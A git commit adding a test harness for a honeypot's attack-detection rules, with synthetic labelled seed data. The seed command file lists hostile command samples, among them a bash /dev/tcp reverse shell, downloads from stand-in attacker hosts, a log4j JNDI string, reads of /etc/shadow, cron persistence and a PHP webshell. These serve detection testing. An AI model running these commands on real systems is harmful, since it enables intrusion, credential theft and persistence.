feat(ttp): E.3.8 corpus + harness — labelled holdout fixture
Sub-step preceding the rule-pack commits per TTP_TAGGING.md:2967. Adds the per-rule precision suite scaffolding under tests/ttp/rule_precision/: - conftest.py: precision_engine fixture (RuleEngine populated from ./rules/ttp/), corpus_loader (real → seed → empty fallback), precision_for() helper for TP/FP accounting. - _build_corpus.py: extractor for a real prod corpus pull. Mandatory --exclude-ip / DECNET_TTP_CORPUS_EXCLUDE_IPS — operator IPs never end up in the committed exclusion list. Pulls both 'command' and 'unknown_command' event types. - corpus/seed_*.jsonl: synthetic seed rows for each cohort so the harness exercises in clean checkouts. - corpus/*.jsonl (operator-built) is gitignored. - test_corpus_loads.py: sentinel that every seed file parses.
This commit is contained in:
6
.gitignore
vendored
6
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vendored
@@ -57,3 +57,9 @@ deps.txt
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# build/deploy time.
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node_modules/
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package-lock.json
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# TTP rule-precision corpus pulled from prod sqlite. Real attacker
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# payloads — operator-only artifact. The synthetic ``seed_*.jsonl``
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# files alongside ARE committed and exercise the harness in CI.
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tests/ttp/rule_precision/corpus/*.jsonl
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!tests/ttp/rule_precision/corpus/seed_*.jsonl
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12
tests/ttp/rule_precision/__init__.py
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12
tests/ttp/rule_precision/__init__.py
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"""Per-rule precision suite for TTP rule pack v0.
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One test module per rule cohort (command / behavioral / email / canary /
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intel) drives the labelled holdout corpus through a real
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:class:`RuleEngine` bound to ``./rules/ttp/`` and asserts the
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Appendix-C precision target.
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Live cohort: command (R0001-R0030). Other cohorts ship YAMLs whose
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match specs target downstream lifters (E.3.9-E.3.12); their
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precision tests are :pyfunc:`pytest.xfail`-gated until the lifter
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lands, matching the CDD pattern from ``development/TTP_TAGGING.md``.
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"""
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121
tests/ttp/rule_precision/_build_corpus.py
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121
tests/ttp/rule_precision/_build_corpus.py
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"""Extract a labelled corpus from the production sqlite DB.
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Run on the operator workstation against a real ``decnet-prod.db``.
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Outputs ``corpus/commands.jsonl`` (gitignored).
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**IP exclusion is mandatory and operator-supplied.** The operator's
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own source IP, plus any other addresses that must never end up in a
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committed/inspected corpus, are passed via ``--exclude-ip`` (repeatable)
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or the ``DECNET_TTP_CORPUS_EXCLUDE_IPS`` env var (comma-separated).
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The script refuses to run with an empty exclusion list — extracting
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attacker payloads without a vetted blocklist is a doxxing footgun and
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that mistake is not allowed to happen silently.
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Usage::
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DECNET_TTP_CORPUS_EXCLUDE_IPS="<your-ip>,<other>" \\
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python -m tests.ttp.rule_precision._build_corpus \\
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--db /path/to/decnet-prod.db \\
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--out tests/ttp/rule_precision/corpus
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"""
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from __future__ import annotations
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import argparse
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import json
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import os
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import re
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import sqlite3
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import sys
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from collections.abc import Iterable
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from pathlib import Path
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from typing import Any
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_CMD_RE = re.compile(r"\bcmd=(.*)$")
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_ENV_VAR = "DECNET_TTP_CORPUS_EXCLUDE_IPS"
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def _extract_cmd(raw_line: str) -> str | None:
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match = _CMD_RE.search(raw_line)
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if match is None:
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return None
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cmd = match.group(1).strip()
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return cmd or None
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def _scrub_ips(text: str, excludes: Iterable[str]) -> str:
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out = text
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for ip in excludes:
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out = out.replace(ip, "0.0.0.0")
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return out
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def _resolve_excludes(cli: list[str]) -> list[str]:
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env = os.environ.get(_ENV_VAR, "")
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env_parts = [chunk.strip() for chunk in env.split(",") if chunk.strip()]
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merged = sorted({*cli, *env_parts})
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return merged
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def build_command_corpus(
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db_path: Path,
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out_path: Path,
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excludes: list[str],
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) -> int:
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"""Write ``commands.jsonl`` from the prod DB. Returns row count."""
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if not excludes:
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raise RuntimeError(
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"refusing to extract corpus with empty IP exclusion list — "
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f"set --exclude-ip or {_ENV_VAR}",
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)
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placeholders = ",".join("?" * len(excludes))
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sql = (
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"SELECT raw_line FROM logs "
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"WHERE event_type IN ('command', 'unknown_command') "
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f"AND attacker_ip NOT IN ({placeholders})"
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)
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rows: list[dict[str, Any]] = []
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seen: set[str] = set()
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with sqlite3.connect(db_path) as con:
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for (raw,) in con.execute(sql, excludes):
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cmd = _extract_cmd(raw)
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if cmd is None or cmd in seen:
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continue
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seen.add(cmd)
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scrubbed = _scrub_ips(cmd, excludes)
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rows.append({
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"source_kind": "command",
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"payload": {"command_text": scrubbed},
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"expected_rule_ids": [],
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"label": f"prod-{len(rows):04d}",
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})
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out_path.mkdir(parents=True, exist_ok=True)
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target = out_path / "commands.jsonl"
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with target.open("w", encoding="utf-8") as fh:
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for row in rows:
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fh.write(json.dumps(row, ensure_ascii=False) + "\n")
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return len(rows)
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def main(argv: list[str] | None = None) -> int:
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parser = argparse.ArgumentParser(description=__doc__)
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parser.add_argument("--db", type=Path, required=True)
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parser.add_argument("--out", type=Path, required=True)
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parser.add_argument(
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"--exclude-ip",
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action="append",
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default=[],
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help=(
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"IP to drop from the SQL pull AND scrub from cmd payloads. "
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f"Repeatable. Merged with ${_ENV_VAR}. At least one "
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"exclusion is mandatory."
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),
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)
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args = parser.parse_args(argv)
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excludes = _resolve_excludes(args.exclude_ip)
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n = build_command_corpus(args.db, args.out, excludes)
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print(f"wrote {n} command rows to {args.out / 'commands.jsonl'}")
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return 0
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if __name__ == "__main__": # pragma: no cover
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sys.exit(main())
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220
tests/ttp/rule_precision/conftest.py
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220
tests/ttp/rule_precision/conftest.py
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"""Fixtures for the per-rule precision suite.
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Two halves:
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* :func:`precision_engine` — async fixture that builds a real
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:class:`RuleEngine` populated from ``./rules/ttp/`` via
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:func:`_parse_and_compile`. We bypass ``RuleEngine.watch_store``
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(which would loop forever on the inotify subscription) and instead
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call ``_install`` directly per rule. The engine reads no rules
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through any store ABC method, so a stub store passes for
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construction.
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* :func:`corpus_loader` — factory fixture returning labelled rows
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for a cohort (``commands`` / ``email`` / ``intel`` / ``canary`` /
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``behavioral``). Prefers ``corpus/<name>.jsonl`` (operator-built,
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gitignored) and falls back to ``corpus/seed_<name>.jsonl``
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(synthetic, committed). If neither exists the fixture returns ``[]``
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and the precision tests :func:`pytest.skip` themselves — letting a
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fresh checkout exercise the harness without a corpus.
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"""
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from __future__ import annotations
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import json
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from collections.abc import Callable
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from pathlib import Path
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from typing import Any, NamedTuple
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import pytest
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import pytest_asyncio
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from decnet.ttp.base import TaggerEvent
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from decnet.ttp.impl.rule_engine import CompiledRule, RuleEngine
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from decnet.ttp.store.base import RuleState
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from decnet.ttp.store.impl.filesystem import _parse_and_compile
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_RULES_DIR = Path(__file__).resolve().parents[2] / "rules" / "ttp"
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_CORPUS_DIR = Path(__file__).resolve().parent / "corpus"
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class CorpusRow(NamedTuple):
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"""One labelled corpus row.
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``payload`` carries the keys the engine's match operator reads —
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``command_text`` for ``command``, ``raw_url`` for ``http_request``,
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etc. ``expected_rule_ids`` is the human-labelled ground truth: the
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rules a competent analyst would expect to fire on this row.
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Negative examples (``[]``) are load-bearing for precision: they
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catch FPs by giving non-matching payloads in the "matches" pool.
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"""
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source_kind: str
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payload: dict[str, Any]
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expected_rule_ids: tuple[str, ...]
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label: str
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class _StubStore:
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"""Just enough of :class:`RuleStore` to satisfy ``RuleEngine.__init__``.
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The fixture installs rules directly into the engine's dispatch
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index; no store method is actually called during precision tests.
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"""
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async def load_compiled(self) -> list[CompiledRule]:
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return []
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async def get_state(self, _rule_id: str) -> RuleState:
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return RuleState()
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async def set_state(self, *_a: Any, **_kw: Any) -> None:
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return None
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def subscribe_changes(self) -> Any:
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async def _gen() -> Any:
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if False: # pragma: no cover
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yield None
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return _gen()
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def _load_compiled_rules() -> list[CompiledRule]:
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"""Compile every YAML under ``./rules/ttp/`` once per session.
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Ignores files that fail to parse — the cohort tests assert presence
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of their rule_id, so a bad YAML surfaces as a missing-rule failure
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rather than a confusing ImportError out of the fixture.
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"""
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if not _RULES_DIR.exists():
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return []
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out: list[CompiledRule] = []
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state = RuleState()
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for path in sorted(_RULES_DIR.iterdir()):
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if path.suffix not in {".yaml", ".yml"}:
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continue
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try:
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out.append(_parse_and_compile(path, state))
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except Exception: # noqa: BLE001 — broken YAML is its own failure surface
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continue
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return out
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@pytest.fixture(scope="session")
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def compiled_rules() -> list[CompiledRule]:
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return _load_compiled_rules()
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@pytest_asyncio.fixture
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async def precision_engine(
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compiled_rules: list[CompiledRule],
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) -> RuleEngine:
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"""A :class:`RuleEngine` with every YAML rule installed.
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Bypasses ``watch_store()`` (it loops forever on the inotify
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subscription). The engine's public ``evaluate()`` reads only
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``self._by_kind`` / ``self._by_rule``, both populated here.
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"""
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engine = RuleEngine(_StubStore()) # type: ignore[arg-type]
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for rule in compiled_rules:
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engine._install(rule)
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return engine
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def _read_jsonl(path: Path) -> list[dict[str, Any]]:
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rows: list[dict[str, Any]] = []
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with path.open("r", encoding="utf-8") as handle:
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for line in handle:
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stripped = line.strip()
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if not stripped or stripped.startswith("#"):
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continue
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rows.append(json.loads(stripped))
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return rows
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def _resolve_corpus_path(name: str) -> Path | None:
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real = _CORPUS_DIR / f"{name}.jsonl"
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if real.exists():
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return real
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seed = _CORPUS_DIR / f"seed_{name}.jsonl"
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if seed.exists():
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return seed
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return None
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def _row_from_dict(raw: dict[str, Any]) -> CorpusRow:
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return CorpusRow(
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source_kind=str(raw.get("source_kind", "command")),
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payload=dict(raw.get("payload", {})),
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expected_rule_ids=tuple(raw.get("expected_rule_ids", [])),
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label=str(raw.get("label", "")),
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)
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@pytest.fixture(scope="session")
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def corpus_loader() -> Callable[[str], list[CorpusRow]]:
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"""Return a callable that loads a cohort's labelled corpus.
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Resolution order: ``corpus/<name>.jsonl`` (real, gitignored) →
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``corpus/seed_<name>.jsonl`` (synthetic, committed) → empty list
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(caller's tests skip).
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"""
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def _load(name: str) -> list[CorpusRow]:
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path = _resolve_corpus_path(name)
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if path is None:
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return []
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return [_row_from_dict(row) for row in _read_jsonl(path)]
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return _load
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def make_event(row: CorpusRow, source_id: str = "src") -> TaggerEvent:
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"""Materialise a :class:`CorpusRow` into a :class:`TaggerEvent`."""
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return TaggerEvent(
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source_kind=row.source_kind,
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source_id=source_id,
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attacker_uuid=None,
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identity_uuid=None,
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session_id=None,
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decky_id=None,
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payload=row.payload,
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)
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def precision_for(
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rule_id: str,
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rows: list[CorpusRow],
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fired: dict[str, list[str]],
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) -> tuple[float, int, int]:
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"""Compute precision = TP / (TP + FP) for *rule_id*.
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``fired[label] = [rule_ids that matched this row]``. A row whose
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``expected_rule_ids`` includes *rule_id* and whose match set
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includes *rule_id* is a TP. A row that fired *rule_id* but did
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NOT expect it is a FP.
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Returns ``(precision, tp, fp)``. Precision is ``1.0`` when no
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matches fired (vacuously) — callers gate that case with the
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``min_matches`` check before asserting.
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"""
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tp = 0
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fp = 0
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for row in rows:
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matched = rule_id in fired.get(row.label, [])
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expected = rule_id in row.expected_rule_ids
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if matched and expected:
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tp += 1
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elif matched and not expected:
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fp += 1
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total = tp + fp
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if total == 0:
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return 1.0, 0, 0
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return tp / total, tp, fp
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__all__ = [
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"CorpusRow",
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"compiled_rules",
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"precision_engine",
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"corpus_loader",
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"make_event",
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"precision_for",
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]
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2
tests/ttp/rule_precision/corpus/seed_behavioral.jsonl
Normal file
2
tests/ttp/rule_precision/corpus/seed_behavioral.jsonl
Normal file
@@ -0,0 +1,2 @@
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{"source_kind": "session", "payload": {"beacon_interval_s": 60, "beacon_jitter_pct": 0.05}, "expected_rule_ids": ["R0031"], "label": "low_jitter_beacon"}
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{"source_kind": "session", "payload": {"beacon_interval_s": 0, "beacon_jitter_pct": 0}, "expected_rule_ids": [], "label": "negative_no_beacon"}
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2
tests/ttp/rule_precision/corpus/seed_canary.jsonl
Normal file
2
tests/ttp/rule_precision/corpus/seed_canary.jsonl
Normal file
@@ -0,0 +1,2 @@
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{"source_kind": "canary_fingerprint", "payload": {"ua_signature": "HeadlessChrome/119", "navigator_webdriver": true}, "expected_rule_ids": ["R0049"], "label": "webdriver_flag"}
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{"source_kind": "canary_fingerprint", "payload": {"ua_signature": "Mozilla/5.0", "navigator_webdriver": false}, "expected_rule_ids": [], "label": "negative_browser"}
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41
tests/ttp/rule_precision/corpus/seed_commands.jsonl
Normal file
41
tests/ttp/rule_precision/corpus/seed_commands.jsonl
Normal file
@@ -0,0 +1,41 @@
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{"source_kind": "command", "payload": {"command_text": "hydra -L users.txt -P pass.txt ssh://10.0.0.1"}, "expected_rule_ids": ["R0001"], "label": "hydra_ssh_brute"}
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{"source_kind": "command", "payload": {"command_text": "medusa -h 10.0.0.1 -u root -P passlist -M ssh"}, "expected_rule_ids": ["R0001"], "label": "medusa_ssh_brute"}
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{"source_kind": "command", "payload": {"command_text": "ncrack -p 22 --user root -P rockyou.txt 10.0.0.1"}, "expected_rule_ids": ["R0001"], "label": "ncrack_ssh"}
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{"source_kind": "command", "payload": {"command_text": "sqlmap -u http://victim/x?id=1 --dbs"}, "expected_rule_ids": ["R0007"], "label": "sqlmap_invocation"}
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{"source_kind": "command", "payload": {"command_text": "curl -H 'X-Api-Version: ${jndi:ldap://x.evil/a}' http://target"}, "expected_rule_ids": ["R0008", "R0012"], "label": "log4j_jndi_curl"}
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{"source_kind": "command", "payload": {"command_text": "curl http://target/page?file=../../../../etc/passwd"}, "expected_rule_ids": ["R0009", "R0013", "R0012"], "label": "path_traversal_passwd"}
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||||
{"source_kind": "command", "payload": {"command_text": "/bin/sh -c 'id'"}, "expected_rule_ids": ["R0010", "R0011", "R0019"], "label": "sh_dash_c_id"}
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{"source_kind": "command", "payload": {"command_text": "bash -i >& /dev/tcp/10.0.0.5/4444 0>&1"}, "expected_rule_ids": ["R0010", "R0011"], "label": "bash_revshell_devtcp"}
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||||
{"source_kind": "command", "payload": {"command_text": "python3 -c 'import os; os.system(\"id\")'"}, "expected_rule_ids": ["R0011"], "label": "python_oneliner"}
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{"source_kind": "command", "payload": {"command_text": "wget http://attacker/payload.sh -O /tmp/p.sh"}, "expected_rule_ids": ["R0012"], "label": "wget_http_payload"}
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||||
{"source_kind": "command", "payload": {"command_text": "curl -O http://attacker/loader.bin"}, "expected_rule_ids": ["R0012"], "label": "curl_http_loader"}
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||||
{"source_kind": "command", "payload": {"command_text": "cat /etc/passwd"}, "expected_rule_ids": ["R0013"], "label": "cat_etc_passwd"}
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||||
{"source_kind": "command", "payload": {"command_text": "less /etc/passwd"}, "expected_rule_ids": ["R0013"], "label": "less_etc_passwd"}
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||||
{"source_kind": "command", "payload": {"command_text": "cat /etc/shadow"}, "expected_rule_ids": ["R0014"], "label": "cat_etc_shadow"}
|
||||
{"source_kind": "command", "payload": {"command_text": "find / -perm -u=s -type f 2>/dev/null"}, "expected_rule_ids": ["R0015", "R0016"], "label": "find_suid"}
|
||||
{"source_kind": "command", "payload": {"command_text": "find / -perm -4000"}, "expected_rule_ids": ["R0015", "R0016"], "label": "find_perm_4000"}
|
||||
{"source_kind": "command", "payload": {"command_text": "find / -name '*.conf'"}, "expected_rule_ids": ["R0016"], "label": "find_recursive_no_suid"}
|
||||
{"source_kind": "command", "payload": {"command_text": "nmap -sS -p 1-65535 10.0.0.0/24"}, "expected_rule_ids": ["R0017"], "label": "nmap_scan"}
|
||||
{"source_kind": "command", "payload": {"command_text": "masscan 10.0.0.0/8 -p443"}, "expected_rule_ids": ["R0017"], "label": "masscan"}
|
||||
{"source_kind": "command", "payload": {"command_text": "uname -a"}, "expected_rule_ids": ["R0018"], "label": "uname_a"}
|
||||
{"source_kind": "command", "payload": {"command_text": "lsb_release -a"}, "expected_rule_ids": ["R0018"], "label": "lsb_release"}
|
||||
{"source_kind": "command", "payload": {"command_text": "id"}, "expected_rule_ids": ["R0019"], "label": "id_alone"}
|
||||
{"source_kind": "command", "payload": {"command_text": "whoami"}, "expected_rule_ids": ["R0019"], "label": "whoami"}
|
||||
{"source_kind": "command", "payload": {"command_text": "ip addr"}, "expected_rule_ids": ["R0020"], "label": "ip_addr"}
|
||||
{"source_kind": "command", "payload": {"command_text": "ifconfig -a"}, "expected_rule_ids": ["R0020"], "label": "ifconfig"}
|
||||
{"source_kind": "command", "payload": {"command_text": "netstat -an"}, "expected_rule_ids": ["R0021"], "label": "netstat_an"}
|
||||
{"source_kind": "command", "payload": {"command_text": "ss -tnp"}, "expected_rule_ids": ["R0021"], "label": "ss_tnp"}
|
||||
{"source_kind": "command", "payload": {"command_text": "ldapsearch -x -b dc=example,dc=com '(objectClass=user)'"}, "expected_rule_ids": ["R0022"], "label": "ldapsearch"}
|
||||
{"source_kind": "command", "payload": {"command_text": "smbclient -L //10.0.0.1"}, "expected_rule_ids": ["R0023"], "label": "smbclient_list"}
|
||||
{"source_kind": "command", "payload": {"command_text": "useradd -m -s /bin/bash backdoor"}, "expected_rule_ids": ["R0024"], "label": "useradd"}
|
||||
{"source_kind": "command", "payload": {"command_text": "echo '* * * * * curl http://x/a' >> /var/spool/cron/root"}, "expected_rule_ids": ["R0025", "R0012"], "label": "cron_persist"}
|
||||
{"source_kind": "command", "payload": {"command_text": "redis-cli -h 10.0.0.5 config set dir /root/.ssh"}, "expected_rule_ids": ["R0026"], "label": "redis_ssh_dir"}
|
||||
{"source_kind": "command", "payload": {"command_text": "echo '<?php system($_GET[\"c\"]); ?>' > /var/www/html/x.php"}, "expected_rule_ids": ["R0027"], "label": "webshell_php"}
|
||||
{"source_kind": "command", "payload": {"command_text": "history -c"}, "expected_rule_ids": ["R0028"], "label": "history_clear"}
|
||||
{"source_kind": "command", "payload": {"command_text": "unset HISTFILE"}, "expected_rule_ids": ["R0028"], "label": "unset_histfile"}
|
||||
{"source_kind": "command", "payload": {"command_text": "sudo -l"}, "expected_rule_ids": ["R0029"], "label": "sudo_l"}
|
||||
{"source_kind": "command", "payload": {"command_text": "sudo su -"}, "expected_rule_ids": ["R0029"], "label": "sudo_su"}
|
||||
{"source_kind": "command", "payload": {"command_text": "ls /tmp"}, "expected_rule_ids": [], "label": "negative_ls_tmp"}
|
||||
{"source_kind": "command", "payload": {"command_text": "echo hello"}, "expected_rule_ids": [], "label": "negative_echo"}
|
||||
{"source_kind": "command", "payload": {"command_text": "cd /var/log"}, "expected_rule_ids": [], "label": "negative_cd"}
|
||||
{"source_kind": "command", "payload": {"command_text": "ps aux"}, "expected_rule_ids": [], "label": "negative_ps_aux"}
|
||||
3
tests/ttp/rule_precision/corpus/seed_email.jsonl
Normal file
3
tests/ttp/rule_precision/corpus/seed_email.jsonl
Normal file
@@ -0,0 +1,3 @@
|
||||
{"source_kind": "email", "payload": {"subject": "Urgent wire transfer needed", "from": "ceo@victim.example", "return_path": "evil@bad.example", "rcpt_count": 1, "body": "Please send $50k to the attached account immediately."}, "expected_rule_ids": ["R0047"], "label": "bec_wire"}
|
||||
{"source_kind": "email", "payload": {"subject": "Newsletter", "from": "marketing@legit.example", "rcpt_count": 1, "body": "Hello world."}, "expected_rule_ids": [], "label": "negative_newsletter"}
|
||||
{"source_kind": "email", "payload": {"subject": "Win a prize", "from": "promo@evil.example", "rcpt_count": 250, "body": "Click here http://evil.example/win"}, "expected_rule_ids": ["R0042"], "label": "mass_phish"}
|
||||
2
tests/ttp/rule_precision/corpus/seed_intel.jsonl
Normal file
2
tests/ttp/rule_precision/corpus/seed_intel.jsonl
Normal file
@@ -0,0 +1,2 @@
|
||||
{"source_kind": "intel", "payload": {"verdict": "malicious", "provider": "abuseipdb", "categories": [18, 22]}, "expected_rule_ids": ["R0054"], "label": "abuseipdb_brute"}
|
||||
{"source_kind": "intel", "payload": {"verdict": "benign", "provider": "greynoise", "tags": []}, "expected_rule_ids": [], "label": "negative_benign"}
|
||||
33
tests/ttp/rule_precision/test_corpus_loads.py
Normal file
33
tests/ttp/rule_precision/test_corpus_loads.py
Normal file
@@ -0,0 +1,33 @@
|
||||
"""Sentinel: every cohort's seed corpus parses and the harness lives.
|
||||
|
||||
Runs in clean checkouts (no operator-built corpus). Asserts the seed
|
||||
JSONL files load through :func:`corpus_loader` without raising and
|
||||
yield non-empty lists. Doesn't run any rules — that's the per-cohort
|
||||
suites' job. This sentinel exists so a busted corpus file fails the
|
||||
suite immediately, not three commits later when the first cohort
|
||||
test finally tries to load it.
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
from collections.abc import Callable
|
||||
|
||||
import pytest
|
||||
|
||||
from tests.ttp.rule_precision.conftest import CorpusRow
|
||||
|
||||
CohortLoader = Callable[[str], list[CorpusRow]]
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"name",
|
||||
["commands", "email", "intel", "canary", "behavioral"],
|
||||
)
|
||||
def test_seed_corpus_loads(
|
||||
corpus_loader: CohortLoader, name: str,
|
||||
) -> None:
|
||||
rows = corpus_loader(name)
|
||||
assert rows, f"seed_{name}.jsonl returned no rows"
|
||||
for row in rows:
|
||||
assert row.source_kind, f"row {row.label} missing source_kind"
|
||||
assert isinstance(row.payload, dict)
|
||||
assert isinstance(row.expected_rule_ids, tuple)
|
||||
Reference in New Issue
Block a user